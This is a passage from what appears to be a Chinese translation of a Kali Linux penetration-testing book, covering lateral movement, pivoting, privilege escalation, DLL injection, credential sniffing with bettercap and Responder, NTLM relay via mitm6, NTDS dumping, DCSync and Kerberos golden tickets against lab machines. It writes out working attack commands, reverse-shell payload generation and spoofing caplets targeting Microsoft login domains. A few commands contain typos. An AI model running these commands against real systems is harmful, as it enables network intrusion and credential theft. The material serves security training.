使用 Meterpreter shell,您可以将wce.exe上传到已被入侵的系统,如图 11.22 所示。一旦文件上传到系统,运行 Meterpreter 会话中的shell命令,这将授予对被入侵系统的终端访问。要验证 WCE 是否成功,请运行wce.exe -w以列出所有用户的登录会话及明文密码:

图 11.22:在旧版 Windows 设备上使用 WCE 提取明文密码

稍后,攻击者可以利用这些凭据横向移动到网络中,从而在多个系统上使用相同的凭据。此工具仅适用于 Windows XP、2003、7 和 2008 等旧系统。

渗透测试人员可以大量使用 PowerShell 的自动化 Empire 工具来执行特定于 Active Directory 和其他域信任和提权攻击,我们将在第十二章特权提升中探讨这些攻击。

使用服务进行横向移动

如果渗透测试人员遇到没有 PowerShell 可调用的系统怎么办?在这种情况下,服务控制SCs)将非常有用,用于在网络中执行横向移动,涵盖所有您访问或具有匿名访问共享文件夹的系统。

以下命令可以直接从命令提示符或通过 Meterpreter shell 运行:

  • net use \\advanced\c$/user:advanced\username password

  • dir \\advanced\c$

  • 将使用 Shellter 或 Veil 创建的后门复制到共享文件夹中

  • 创建一个名为backtome的服务

  • Sc \\remotehost create backtome binpath="c:\xx\malware.exe"

  • Sc remotehost start backtome

转向和端口转发

我们在第九章《绕过安全控制》中讨论了简单的端口转发方法,通过绕过内容过滤和 NAC。在本节中,我们将使用 Metasploit 的 Meterpreter 来进行转向和端口转发目标。

在 Meterpreter 上,在目标系统上的活动会话期间,攻击者可以使用相同的系统扫描内部网络。图 11.23 显示了一个具有两个网络适配器192.168.0.119192.168.52.129的系统:

图 11.23: 确定受损目标是否有两个不同的网络适配器

然而,攻击者的 IP 没有到达内部 IP 范围的路由;渗透测试人员在 Meterpreter 会话中可以通过运行后期利用模块run post/multi/manage/autoroute在受损系统上添加从 Kali 攻击框到内部网络的新路由,如图 11.24 所示。此模块将使用受损机作为桥梁:

图 11.24: 使用后期利用模块从受损目标向 Kali Linux 添加自动路由

所有从攻击者 IP 到内部 IP 范围 (192.168.0.52.x) 的流量现在将通过受损系统 (192.168.0.x) 路由。

现在我们将在后台运行 Meterpreter 会话,并尝试理解 IP 范围之外的情况,同时还要利用 Metasploit 的端口扫描器,但要使用以下模块:

use auxiliary/scanner/portscan/tcp 

要验证我们的 Kali Linux 确实具备访问目标网络的能力,您可以将 RHOSTS 设置为第二个适配器的默认网关 IP。这将使攻击者能够找到跳跃网络和设备上的服务;典型的做法是利用 Metasploit 模块中的端口扫描器,如图 11.25 所示:

图 11.25: 在跳跃网络添加自动路由后运行端口扫描

使用 ProxyChains

希望使用nmap和其他工具扫描网络主机的渗透测试人员可以通过在 Metasploit 的post模块中运行以下代码来利用 Metasploit 模块socks4a

msf post(inject_host) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed 

在运行模块后通过编辑/etc/proxychains.conf配置 ProxyChains 配置,并将socks4配置更新到端口1080(或您在 Metasploit 模块中设置的端口号),如图 11.26 所示:

图 11.26: 更新 socks4 配置以使用端口 1080

现在,攻击者可以通过终端直接运行nmap,命令为proxychains nmap -vv -sV 192.168.1.254。我们已经学习了如何利用 ProxyChains 执行网络扫描以保持匿名性。

摘要

在本章中,我们重点讨论了目标系统利用后的即时操作。我们回顾了进行快速初步评估的过程,以便对服务器和本地环境进行特征描述。我们还学习了如何使用各种后期利用工具定位感兴趣的目标文件、创建用户帐户,并进行横向提升以收集更多与其他用户相关的信息。我们重点介绍了 Metasploit 的 Meterpreter 使用方法、PowerShell Empire 工具以及 CrackMapExec,以便我们能够收集更多信息,执行横向移动和特权攻击。

在下一章中,我们将学习如何将特权从普通用户提升到最高级别,并利用在 Active Directory 环境中发现的漏洞。

第十二章:权限提升

权限提升是指从较低的访问权限提升到获得管理员权限、系统权限,甚至更高访问权限的过程。它允许渗透测试人员完全控制系统的所有操作。更重要的是,获得某些访问权限将使测试人员能够控制网络中的所有系统。随着漏洞变得越来越难以发现和利用,许多研究已经专注于权限提升,作为确保渗透测试成功的手段。

在本章中,我们将讨论以下内容:

  • 常见的权限提升方法

  • 本地系统权限提升

  • DLL 注入

  • 通过嗅探和权限提升进行凭证收集

  • Kerberos 上的金票攻击

  • Active Directory 访问权限

常见权限提升方法概述

一切从方法论开始,提供了一种问题解决的方法。在本节中,我们将介绍攻击者在红队演习或渗透测试中使用的常见权限提升方法。

图 12.1 描述了可以使用的方法论:

Diagram  Description automatically generated with low confidence

图 12.1:典型的用户权限层级

根据网络攻击链的方法论,为了达到目标,采取的行动包括提升权限以保持对目标环境的持续性访问。

以下是目标系统中可能找到的用户账户类型:

  • 普通用户:通过在执行后门的用户级别运行后门获得的典型访问权限。这些是系统(Windows 或 Unix)的普通用户,可以是本地用户或具有有限系统访问权限的域用户,执行的任务仅限于他们被允许执行的范围。

  • 本地管理员:本地管理员是具有运行系统配置更改权限的系统账户持有者。

  • 委派管理员:委派管理员是具有管理员权限的本地用户账户。例如,账户操作员或备份操作员是 Active Directory 环境中常用于委派管理任务的典型组。

  • 域管理员:域管理员是能够管理其所在域的用户。

  • 企业管理员:企业管理员是拥有维护整个 Active Directory 森林权限的账户。

  • 架构管理员:架构管理员是能够配置森林架构的用户。架构管理员之所以不被视为最具特权的账户,是因为攻击者无法将用户添加到其他组中:这将限制修改 Active Directory 森林的访问权限。

从域用户提升到系统管理员

在大多数情况下,执行控制台级攻击或社交工程攻击的攻击者可能会获得一个普通域用户的访问权限,而该用户并不是本地管理员,这使他们只能访问有限的权限级别。可以绕过这一点,并利用该漏洞在受害者机器上获得系统级访问权限,而不必成为本地管理员。我们将利用 Windows 2008 Metasploitable3 执行本地特权提升攻击。以下是执行该攻击的步骤:

  1. 使用msfvenom创建一个带有效载荷的可执行文件,运行sudo msfvenom –p windows/meterpreter/reverse_tcp LHOST=<Kali IP> LPORT=<Port No> -f exe –o Output.exe.来自 Kali 终端。

  2. 使用在第一章中创建的normaluser用户账户登录 Metasploitable3,并通过文件共享或简单运行 Python HTTP 服务器(python3 -m http.server <custom port number>)将文件上传到目标。

  3. 一旦文件上传到目标,作为普通用户执行该文件应提供反向 shell 到 Kali Linux。在执行有效载荷之前,请确保先启动 Metasploit 监听器。

  4. 当攻击者初步使用普通用户身份访问系统并尝试运行系统级命令时,您将收到access deniedno privilege available to run the commands on the target system的响应。

  5. 这可以通过从 Meterpreter 控制台运行getsystem命令来验证,如图 12.2所示:

    图 12.2:Meterpreter shell 运行 getsystem 命令

  6. 我们将探索存在于旧版本 Windows(如 Windows 2008/7)中的本地漏洞。我们将使用最新的本地漏洞利用工具ms18_8120_win32k_privesc,该工具利用 Win32k 组件的漏洞,该组件未正确处理内存中的对象属性。您可以将现有的 Meterpreter 会话移到后台,以便通过以下步骤利用后利用模块:

    meterpreter > background 
    [*] Backgrounding session 1...
    msf6 exploit(multi/handler) > use exploit/windows/local/ms18_8120_win32k_privesc 
    [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
    msf6 exploit(windows/local/ms18_8120_win32k_privesc) > set session 1
    session => 1
    msf6 exploit(windows/local/ms18_8120_win32k_privesc) > exploit 
    
  7. 成功利用该漏洞应该会打开另一个具有高权限级别的 shell,如图 12.3所示:

    图 12.3:在 Metasploitable3 上利用本地 Windows 特权提升漏洞

  8. 现在,新的会话必须为您提供以 NT AUTHORITY\SYSTEM 身份访问系统的权限,这将使攻击者能够创建一个本地管理员级别的用户,如图 12.4所示,并通过从 Meterpreter shell 中使用hashdump命令提取哈希转储或启用 RDP 并使用新管理员账户登录,从而横向移动:

    图 12.4:成功以管理员权限访问 Metasploitable3

本地系统提权

在 Windows 10 中,我们可以利用一种不同的技术来绕过现有的权限。一项此攻击的缺点是,为了获得系统级访问权限,受影响的本地用户必须是本地管理员组的成员。

攻击者只能在用户的上下文中运行 Meterpreter shell。为了绕过这个限制,我们可以利用多个后渗透模块。我们将发送 background 命令到我们的 Meterpreter shell,以运行后渗透模块。在本例中,我们将利用 bypassuac_fodhelper 后渗透模块,如 图 12.5 所示:

meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/handler) > use exploit/windows/local/bypassuac_fodhelper
msf exploit(multi/handler) > set session 1
msf exploit(multi/handler) > exploit 

一旦我们创建了后门 DLL 文件,就可以利用现有的 Meterpreter 会话来运行 PowerShell。攻击者可以通过在终端中运行以下命令来创建一个 PowerShell 负载:

图 12.5:利用 Windows 10 本地权限提升漏洞

Meterpreter shell 中的 bypassuac_fodhelper 模块将利用现有会话提供更高权限的 Meterpreter shell,如 图 12.6 所示:

图 12.6:成功以 SYSTEM 权限访问 Windows 10

我们已经成功运行了本地漏洞,从低权限用户提升到 SYSTEM 级别的权限。在下一节中,我们将利用本地管理员权限的用户进行提升,最终将其提升为 SYSTEM 级别的用户。

从管理员权限提升到系统权限

管理员权限允许攻击者创建和管理账户,并访问系统上大多数数据。然而,某些复杂的功能要求请求者具有系统级别的访问权限。有几种方法可以继续提升到系统级别,最简单的方式是运行 PsExec 来获取系统级访问权限,方法是将 PsExec 上传到目标文件夹,并作为本地管理员运行以下命令:

PsExec -s -i -d cmd.exe 

此命令应以系统用户身份打开另一个命令提示符,如 图 12.7 所示:

图 12.7:使用 Psexec 从本地管理员提升到 SYSTEM

DLL 注入

DLL动态链接库)注入是另一种简单的技术,攻击者利用它在另一个进程的地址空间中运行远程代码。该进程必须以超出权限的方式运行,这些权限随后可以用于通过 DLL 文件提升权限。

Metasploit 提供了一个特定的模块,可以用于执行 DLL 注入。攻击者需要做的就是链接现有的 Meterpreter 会话,并指定进程的 PID 和 DLL 的路径。我们将探索另一种方式,并利用 Empire 工具中的 PowerShell DLL 注入模块。你可以通过 msfvenom 创建一个带有负载的 DLL:

sudo msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<Kali IP> lport=443 -f dll -o /home/kali/injectmex64.dll 

sudo powershell-empire server 
sudo powershell-empire client (in a new tab)
uselistener http
set Host <Your IP>
set Port <port number>
execute
usestager multi/launcher
set Listener http
execute 

这应该为我们提供可以在目标上执行的 PowerShell 负载。在本例中,我们将以 Windows 10 为例,直接从 Meterpreter shell 运行 PowerShell 脚本,如 图 12.8 所示:

图 12.8:从 Meterpreter 执行 Empire 代理负载

成功执行 PowerShell 后,应该会向 Empire 控制台报告一个代理。攻击者可以通过运行 agents 命令并在 Empire 中使用代理名称通过 interact 命令与代理进行交互来验证这一点,如 图 12.9 所示:

图 12.9:成功的代理向 Empire 客户端控制台报告

测试人员现在可以将我们创建的 DLL 文件上传到目标系统;这将上传到执行 PowerShell 脚本的文件夹中:

图 12.10:将恶意 DLL 上传到目标

在 PowerShell Empire 终端中运行 ps 命令,应该会列出目标上当前正在运行的进程。选择正确的进程(该进程以 NT AUTHORITY/SYSTEM 运行),然后在 PowerShell Empire 终端中执行以下命令:

(Empire: 2A54TX1L) > ps
(Empire: 2A54TX1L) > upload /root/chap12/injectme.dll
(Empire: 2A54TX1L) > usemodule code_execution/invoke_dllinjection
(Empire: powershell/code_execution/invoke_dllinjection) > set ProcessID 4060
(Empire: powershell/code_execution/invoke_dllinjection) > set Dll C:\<location>\injectmex64.dll
(Empire: powershell/code_execution/invoke_dllinjection) > execute 

如果测试人员在运行 ps 命令时无法看到系统进程所有者,则应以本地管理员身份运行 Empire PowerShell 有效负载。

大多数防病毒/反恶意软件/EDR 系统都能轻松检测到此方法;然而,建议对 DLL 的有效负载进行多次编码。

一旦 DLL 文件注入到正在运行的进程中,攻击者应该能够看到一个以特权用户身份报告回来的代理,如 图 12.11 所示:

图 12.11:成功将恶意 DLL 上传到目标

一旦成功调用 DLL,有效负载必须执行,并且必须以系统级别用户身份打开反向 Shell,如 图 12.12 所示:

图 12.12:通过 PowerShell Empire 成功的 DLL 注入进行的反向 Shell

我们已经成功地进行了 DLL 注入,以获得一个具有高度特权的 SYSTEM 账户。在下一节中,我们将探索另一种收集凭据并提升特权的方法。

凭据收集和特权提升攻击

凭据收集是识别可以用来实现渗透测试/红队演练目标的用户名、密码和哈希值的过程。在本节中,我们将演示攻击者在 Kali Linux 中通常使用的三种不同的凭据收集机制。

密码嗅探器

密码嗅探器是一组通常通过发现、欺骗、嗅探流量和代理方式执行中间人攻击的工具/脚本。根据我们之前的经验,我们注意到大多数组织内部没有使用 SSL;Wireshark 显示了多个用户名和密码。

在本节中,我们将探索 bettercap 来捕获网络上的 SSL 流量,以便捕获网络用户的凭据。bettercap 类似于上一代的 ettercap 命令,增加了网络级伪造和嗅探的能力。可以通过在终端中运行 sudo apt install bettercap 来将其下载到 Kali Linux。bettercap 在 2018 到 2020 年间经过了大量的开发,以使其兼容用户界面并启用了 caplet 使用。Caplet 只是 .cap 文件,可以通过脚本在交互式会话中实现目标;可以通过在终端中运行简单命令 sudo apt install bettercap-caplets 来安装或更新它。

此工具可用于对给定的内部网络进行更有效的中间人攻击。在此示例中,我们将使用一个 caplet,脚本如下,通过 bettercap shell 执行 ARP 和 DNS 欺骗来捕获密码:

net.sniff on
" set http.proxy.sslstrip true
" http.proxy on
" set dns.spoof.domains www.office.com,login.microsoftonline.com,testfire.net
" set dns.spoof.all true
" dns.spoof on
" arp.spoof on 

bettercap 必须能够顺利嗅探目标网络上的所有流量,如图 12.13所展示:

图 12.13:使用 bettercap 捕获 HTTP 协议的明文密码

为了剥离 SSL 流量,我们可以利用 https.proxy 模块,如下所示:

" net.sniff on
" set https.proxy.sslstrip true
" https.proxy on
" arp.spoof on
" hstshijack/hstshijack 

hstshijack caplet 将使攻击者能够查看当 Web 服务器将 HTTP 流量重定向到 HTTPS 时的请求,攻击者可以利用重定向迫使 Web 服务器响应 HTTP。bettercap 中的前述命令必须使攻击者能够查看 HTTPS 流量,如图 12.14所示:

图 12.14:使用 Bettercap 中的 sslstrip caplet 嗅探所有加密的 URL

渗透测试人员在使用 bettercap 时应小心,因为运行 arp spoof on 时会暂停 Kali Linux 所连接的整个网络。

Responder

Responder 是 Kali Linux 中内置的工具,用于链路-本地多播名称解析LLMNR)和NetBIOS 名称服务NBT-NS),它根据文件服务器请求响应特定的 NetBIOS 查询。通过在终端中运行 responder -I eth0 (您网络的以太网适配器名称) -h 可以启动此工具,如图 12.15所示:

图 12.15:Responder 工具的主菜单

Responder 具备以下功能:

  • 检查本地主机文件,看看是否包含任何特定的 DNS 条目

  • 自动执行选定网络上的DNS查询

  • 使用 LLMNR/NBT-NS 向选定网络发送广播消息

同一网络上的攻击者可以通过在 Kali 终端中运行 sudo responder –I eth0 –wF –v 启动网络上的 Responder,如图 12.16所示。Responder 能够自行设置多种服务器类型:

图 12.16:在本地网络上运行 Responder 执行中间人攻击

在这个例子中,假设我们如果设备尝试访问文件服务器 \\<FILESERVER>\\,我们就使整个网络中毒。这样,访问请求就会被重定向到 Responder 托管的 SMB 服务器,以捕获 NTLM 用户名和哈希值。

如果受害者尝试访问 Kali Linux IP 或已中毒并重定向到 Responder 的主机名,受害者会看到 图 12.7 中显示的弹窗,且 Responder 会捕获提交的用户名和 NTLM 哈希值:

图 12.17:Responder 创建的弹窗,用于捕获 NTLM 用户名和密码哈希值

在一次红队活动中,我们注意到那些成功识别出恶意设备的安全团队,随后通过输入域管理员凭证访问了该恶意设备的 SMB。现在,攻击者使用 Responder 暂停结果,其中包括 NTLM 用户名和哈希值,正如 图 12.18 所示:

图 12.18:Responder 使网络中毒并捕获用户名和 NTLMv2 哈希值

所有日志文件将保存在 /usr/share/responder/logs/ 目录下,日志文件名为 SMB-NTLMv2-SSP-<IP>.txt。然后可以通过运行 john SMBv2-NTLMv2-SSP-<IP>.txt 将其直接传递给 John the Ripper 进行离线破解,或者通过运行 hashcat –m 5600 SMB-NTLVMv2-SSP-<IP>.txt <wordlist> 来使用 hashcat 破解捕获的 NTLM 哈希。如果字典中包含了密码,那么它就会被破解,正如图 12.19所示:

图 12.19:成功破解用户的 NTLMv2 SMB 密码

在 TLS 上执行 MiTM 攻击以攻击 LDAP

在本节中,我们将探讨如何使用隐蔽方法获取给定端点的本地管理员凭证。Microsoft Kerberos 具有一个委派功能,允许任何应用程序重复使用用户凭证来访问托管在不同服务器上的资源。当 Windows 服务器刚安装并且使用默认配置时,这个 Kerberos 委派功能可能会被利用。如果网络中有 LLMNR、NBT-NS 且强制执行 LDAP 签名,并且有 LDAP轻量级目录访问协议)的 TLS传输层安全性)通道绑定,那么这个技术是可行的。

在这种情况下,渗透测试人员可以访问内部网络并找到一个连接到同一网络的 Windows 10 设备。作为第一步,测试人员可以通过在 IP 范围内运行 crackmapexec 来识别主机名或域名。但这样做会比较“嘈杂”,可能会让管理员警觉到你正在尝试匿名地认证所有网络系统。

一旦确定了域名和目标设备,我们通过将nameserver IP添加到/etc/resolv.conf中,将内部 DNS IP 添加到我们的 Kali Linux 中,以确保我们能够访问目标网络中的本地主机名。从 Vista 及以上版本开始,Windows 默认启用 IPv6,设备启动时将开始寻找 DHCP 和 WPAD 的配置。

我们将利用mitm6。这个工具未预装在 Kali Linux 中。要安装该工具,请运行sudo pip3 install mitm6,然后运行sudo mitm6 –hw <Windows 10 机器名称> -d <域名> --ignore-nofqdn,这应该将 Kali Linux 的 IPv6 DNS 列入白名单,并准备好作为默认网关提供 Kali Linux 的 IPv6 地址的一部分:

图 12.20:使用 mitm6 执行中间人攻击

一旦mitm6启动并运行,网络上的受害者设备现在应该使用所有可用目标上的默认网关,而不是 Kali Linux IPv6 IP 地址,如图 12.21所示:

图 12.21:目标机器添加新的 IPv6 地址到网关

然而,为了执行下一步操作,建议重新启动受害者设备。为了捕获凭据,我们将利用 Impacket,这是一个主要用于操作网络协议的 Python 开源模块集合。它默认安装在 Kali Linux 中。特别是为了执行这种攻击,我们将使用impacket-ntlmrelayx在目标上运行以下命令来托管 LDAPS 和 WPAD 服务,如图 12.22所示:

sudo impact-ntlmrelayx –t ldaps://domaincontrollerIP –delegate-access –no-smb-server –wh attacker-wpad 

图 12.22:运行 impacket-ntlmrelay 目标 LDAP 和 WPAD 服务

ntlmrelayx成功捕获凭据时,您应该在同一窗口中看到确认信息,如图 12.23所示:

图 12.23:成功将 NTLM 哈希中继到 LDAP 服务器

ntlmrelayx不仅认证到真正的 LDAPS 服务,而且还具有在运行命令的同一文件夹中保存的所有域用户、域计算机和域信任的详细信息的能力。

此外,NTLMrelayx 应该通过中继委托创建一个新的计算机账户,充当尝试重用用户凭据的前端应用程序,并且它将修改 Windows 10 上的msDS-AllowedToActOnBehalfOfOtherIdentity,允许新创建的计算机模拟本地计算机上的任何用户。

攻击者应该能够看到以下确认信息:

图 12.24:成功将计算机添加到域

根据设计,在 Active Directory 中,用户可以创建额外的机器账户。下一步是请求服务票据,以访问模拟域管理员权限的 Windows 10。为此,我们需要调用一个服务主体名称SPN),它是服务实例的唯一标识符。SPN 被 Kerberos 身份验证用来将服务实例与服务登录账户关联。攻击者可以利用从lootdir生成的输出,获取可用的 SPN。我们现在将利用impacket-getST Python 脚本模拟具有高度权限的管理员账户到域控制器。系统会提示你输入密码,最后捕获服务票据,并将其保存为.ccache格式,保存在运行命令的同一文件夹中。

sudo impact-getST –spn SPNname/TargetMachinename Domainname/NewComputerCreatedbyNTLMrelayx –impersonate Administrator –dc-ip <Domain controller IP > 

图 12.25:为特定 SPN 创建服务票据,模拟高权限用户

使用服务票据,我们需要通过在 Kali Linux 终端中运行export KRB5CCNAME=/Home/kali/Administrator.ccacheKRB5CCNAME票据导出到环境变量中。Impacket 模块将直接从环境变量中获取这些值。现在,我们已经准备好使用从域控制器生成的服务票据对目标机器进行身份验证,并以高权限用户身份运行。

我们运行sudo impacket-wmiexec -k –no-pass –debug target-Machine-DNS-Name。成功的利用将显示以下屏幕:

图 12.26:在目标机器上执行 WMIC

此外,同样的操作还应提供我们一个有限的 shell,但它是以创建服务票据的用户身份运行的。攻击者可以利用这个 shell 来运行 PowerShell Empire 脚本,以再次完成交互式会话:

图 12.27:以高权限用户身份在目标机器上获得有限 shell

我们还可以提取目标机器上的本地哈希值。这可以通过运行sudo impacket-secretsdump –k –no-pass –debug <Target Machine name>来实现,它应该会提供我们本地哈希值,如图 12.28所示:

图 12.28:从目标机器上转储所有本地哈希值

渗透测试人员通常忘记的一件事是验证机器哈希值。大多数时候,这应该会提供大量信息,例如目标设备上的共享驱动器。这可以通过在目标 IP 上运行crackmapexec smb并使用从impacket-secretsdump获得的哈希值来验证:

图 12.29:使用 crackmapexec 验证机器哈希值

在 Active Directory 中提升访问权限

我们刚刚探讨了如何在系统中提升权限,以及如何通过网络获取凭据。现在让我们利用迄今为止收集的所有细节,然后我们应该能够使用网络攻击链方法实现渗透测试的目标。在本节中,我们将把普通域用户的权限提升为域管理员权限。

我们识别连接到域的系统,并利用我们的 Empire PowerShell 工具提升到域控制器,并提取所有用户名和密码哈希:

A screenshot of a computer  Description automatically generated

图 12.30:PowerShell Empire 中的当前报告代理

你可以使用situational_awareness模块get_domain_controller获取更多关于域的信息:

usemodule situational_awareness/network/powerview/get_domain_controller 

图 12.31:域控制器详细信息的输出

要识别谁登录到域,攻击者可以使用get_loggedon模块,具体如下:

usemodule situational_awareness/network/powerview/get_loggedOn
execute 

所有登录到域控制器的用户都将可见,如图 12.32所示:

图 12.32:域控制器上的登录详细信息

通过使用getsystem模块在本地提升权限,如图 12.33所示:

图 12.33:Empire 模块成功获取 SYSTEM 权限

提升权限方法的下一步是将权限提升到域管理员级别。一旦你使用mimikatz提取了所有用户的密码和哈希,就不再需要这一操作,如以下截图所示。

你可以使用哈希或明文测试密码,通过 Metasploit 或 CrackMapExec 中的PsExec模块进行身份验证:

图 12.34:PowerShell Empire 输出的 Mimikatz 结果

现在,攻击者可以通过在 Empire 界面中输入credentials来查看 Empire 工具凭据存储中的所有凭据,如图 12.35所示:

图 12.35:存储在 PowerShell Empire 中的凭据

Dump Active Directory 中所有用户的最快方法是使用crackmapexec smb并传递哈希值,如图 12.36所示:

图 12.36:使用 CrackMapExec 提取 NTDS

如果攻击者选择手动操作,下一步是利用 CrackMapExec 验证哈希与域控制器的一致性,并运行 PowerShell Empire 代理有效载荷,如图 12.37所示:

图 12.37:使用 crackmapexec 在域控制器上执行 PowerShell 有效载荷

这将调用域控制器,使其成为监听器的代理。一旦代理报告返回到 Empire 工具,我们可以通过运行 interact <Name> 将代理切换到新报告的计算机。然后,使用 management/enable_rdp 模块将启用 远程桌面协议RDP)在域控制器上。

我们必须定位整个 SECURITY 和 SYSTEM 注册表,并且必须使用 ntds.dit。这可以通过使用 ntdsutil 的单个 PowerShell 命令来执行:

ntdsutil "ac I ntds" "ifm" "create full c:\temp" q q 

上述命令的作用是什么?

ntdsutil 是一个内置于 Windows Server 系列中的命令行工具,用于管理 Active Directory 域服务。

这个工具,从介质安装IFM),帮助我们将所有 Active Directory 数据库和注册表设置从域控制器下载到平面文件中,如 图 12.38 所示。最后,我们可以在 c:\temp 目录中看到这两个文件夹,分别是 Active Directoryregistry

图 12.38:手动创建 NTDS 快照

现在,注册表和系统 hive 已经在 c:\temp 文件夹中创建,可以用于通过 secretsdump.py 进行离线密码破解。

secretsdump.py 是 Kali Linux 中由 Impacket 提供的内置脚本。为了查看明文和哈希密码,攻击者可以在终端运行 secretsdump.py -system <systemregistry> -security <securityregistry> -ntds <ntds 位置> "LOCAL"。所有 Active Directory 用户名及其密码哈希必须对攻击者可见。

类似地,如果目标是仅提取域哈希转储,攻击者可以利用运行在域控制器上的代理,运行 credentials/Mimikatz/dcysnc_hashdump 模块,这将直接在域控制器上运行,仅提取所有域用户的用户名和密码哈希,如 图 12.39 所示:

图 12.39:DCSync Hashdump 模块的输出

妥协 Kerberos – 金票攻击

另一组更复杂(且更近期)的攻击是滥用 Microsoft Kerberos 在 Active Directory 环境中的漏洞。成功的攻击会导致攻击者妥协域控制器,并使用 Kerberos 实现将特权提升到企业管理员和架构管理员级别。

以下是在基于 Kerberos 的环境中,用户使用用户名和密码登录时的典型步骤:

  1. 用户的密码被转换成带有时间戳的 NTLM 哈希值,然后发送到 密钥分发中心KDC)。

  2. 域控制器检查用户信息并创建 票证授予票证TGT)。

  3. 这个 Kerberos TGT 只能被 Kerberos 服务(KRBTGT)访问。

  4. 然后,TGT 被从用户传递给域控制器,向其请求 票证授予服务TGS)票证。

  5. 域控制器验证特权账户证书PAC)。如果允许打开票证,则 TGT 将有效地复制以创建 TGS。

  6. 最终,用户获得访问服务的权限。

攻击者可以根据可用的密码哈希值操纵这些 Kerberos 票证。例如,如果你已经入侵了连接到域的系统并提取了本地用户凭据和密码哈希值,下一步是识别 KRBTGT 密码哈希值以生成金票;这将使取证和事件响应团队更难识别攻击源。

在本节中,我们将探讨生成金票的简便性。我们可以通过利用 Empire 工具中的漏洞,仅一步即可实现,前提是我们拥有一台连接到域的计算机,并且该计算机上的普通域用户具有本地管理员权限。

所有活动目录控制器负责处理 Kerberos 票证请求,然后使用这些票证对域用户进行身份验证。krbtgt用户账户用于加密和签名在给定域内生成的所有 Kerberos 票证,然后域控制器使用该账户的密码解密 Kerberos 票证进行一系列验证。渗透测试人员必须记住,大多数服务账户,包括krbtgt,不受密码过期或密码更改的限制,并且账户名通常保持不变。

我们将使用具有本地管理员访问权限的低权限域用户来生成令牌,将哈希值传递给域控制器,并为指定账户生成哈希值。可以通过以下步骤实现:

  1. 通过运行credentials命令列出在 Empire 工具中收集的所有凭据;如果我们没有看到krbtgt,那么我们将利用在域控制器上运行的代理来获取哈希值。在这种情况下,我们将在域控制器上使用exchangeadmin作为值运行 CrackMapExec 并与代理进行交互。

  2. 下一步是识别一个以特权级别运行的进程,窃取令牌,并使用 Empire 工具中的steal_token PID命令执行进一步的命令,如图 12.40所示:

    图 12.40:窃取高权限用户的会话令牌

  3. 现在我们可以从运行mastering.kali.fourthedition域的域控制器上以管理员身份运行。输出应包括域 SID 和必要的密码哈希值:

    usemodule credentials/Mimikatz/dcysnc
    set domain mastering.kali.fourthedition
    set username krbtgt
    run 
    

    图 12.41:DCSync 输出并成功捕获 krbtgt 的密码哈希

  4. 到目前为止,如果域控制器存在漏洞,我们应该已经窃取了krbtgt用户账户的密码哈希。攻击者应该在所有域控制器上执行相同的操作,如果 DCSync 失败,他们应该能够看到新凭证被添加到现有列表中,用户名为krbtgt

    图 12.42:在 PowerShell Empire 中验证 krbtgt 的哈希值

  5. 最后,当我们获取 Kerberos 哈希时,可以将该哈希传递给域控制器,以颁发金票。现在,我们可以利用低权限用户normaluser,并使用正确的凭证 ID 和任何用户名运行golden_ticket模块。当模块成功执行时,您应该能够看到如下截图中的消息,并可以使用任何用户运行金票模块:

    usemodule credentials/mimikatz/golden_ticket
    set user Cred ID
    set user IDONTEXIST
    execute 
    
  6. 成功执行模块后,我们应该能看到图 12.43中显示的详细信息:

    图 12.43:使用 krbtgt 和无效用户创建金票

  7. 攻击者可以使用klist验证生成的 Kerberos 票证是否在会话中,如图 12.44所示:

    图 12.44:在目标机器上验证缓存的票证

  8. 通过金票攻击,攻击者应该能够访问域控制器上的任何文件,或使用此金票访问域内任何系统,并提取数据:

    图 12.45:金票攻击成功利用

如果攻击者在目标域控制器上有远程桌面会话,也可以通过在受感染的系统上运行以下命令来实现这一点,命令如下:

kerberoserberos::golden /admin:Administrator /domain:Mastering.kali.fourthedition /id:ACCOUNTID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt 

通过运行此操作,攻击者可以以任何用户身份进行身份验证,甚至是不存在的用户,包括企业管理员和架构管理员级别。在同一张票证内,攻击者还可以使用 Mimikatz 执行 DCSync,如图 12.46所示:

Lsadump::dcsync /domain:mastering.kali.fourthedition /all /csv 

图 12.46:使用 Mimikatz 对低权限用户执行 DCSync 操作,利用金票

另一个类似的攻击是 Kerberos 银票攻击,这个攻击并不常被讨论。此攻击再次伪造 TGS,但它是由服务帐户签名的;这意味着银票攻击仅限于指向服务器上的某个服务。可以利用 PowerShell Empire 工具,使用credentials/mimikatz/silver_ticket模块,并提供rc4/NTLM哈希值来利用相同的漏洞。

总结

本章中,我们研究了提升权限的方法,并探讨了可用来实现渗透测试目标的不同方法和工具。

我们首先通过利用 Windows Server 2008 上的ms18_8120_win32k_privesc进行常见的系统级特权提升,并在 Windows 10 机器上使用bypassuac_fodhelper。我们专注于利用 Meterpreter 获取系统级控制,之后详细研究了如何使用 Empire 工具;然后,我们通过在网络上使用密码嗅探器来获取凭证。我们还利用 Responder 执行了 NTLM 中继攻击以获得远程系统访问权限,并使用 Responder 捕获了网络中不同系统的密码,这些系统使用了 SMB 协议。

我们通过一种结构化的方法完全攻破了一个 Active Directory。最后,我们通过使用 PowerShell Empire 和一个被攻破的 Kerberos 账户,利用 Empire 工具执行了黄金票证攻击,进一步利用了 Active Directory 中的访问权限。

在下一章(第十三章命令与控制)中,我们将学习攻击者如何使用不同的技术根据网络杀伤链方法论来保持对被攻破系统的访问。我们还将深入探讨如何从内部系统向外部系统窃取数据。

第十三章:命令与控制

现代攻击者并不只是单纯地利用系统或网络后就离开。相反,他们的目标是攻击并入侵有价值的网络,然后尽可能长时间地保持在网络中。命令与控制C2)指的是测试人员用来模拟攻击者行为的机制,通过在系统上保持驻留、维持双向通信、使数据能够被提取到测试者的位置,并隐藏攻击证据。

在命令、控制与通信阶段,攻击者依赖于与受损系统的持久连接,以确保他们能够持续控制。

在本章中,您将学习以下内容:

  • 持久化的重要性

  • 使用 PowerShell Empire、Covenant、PoshC2 和在线文件共享保持持久化

  • 执行域前置技术以保持命令与控制

  • 使用不同协议进行数据提取的技巧

  • 隐藏攻击证据

持久化

为了有效,攻击者必须能够维持交互式持久化;他们必须与被利用的系统保持一个双向通信通道(交互式),并且在很长时间内不被发现(持久化)。这种连接是必需的,原因如下:

  • 网络入侵可能被检测到,受损的系统可能被识别并修补。

  • 一些漏洞只能被利用一次,因为漏洞是间歇性的,或者利用时会导致系统崩溃或发生变化,导致漏洞无法继续使用。

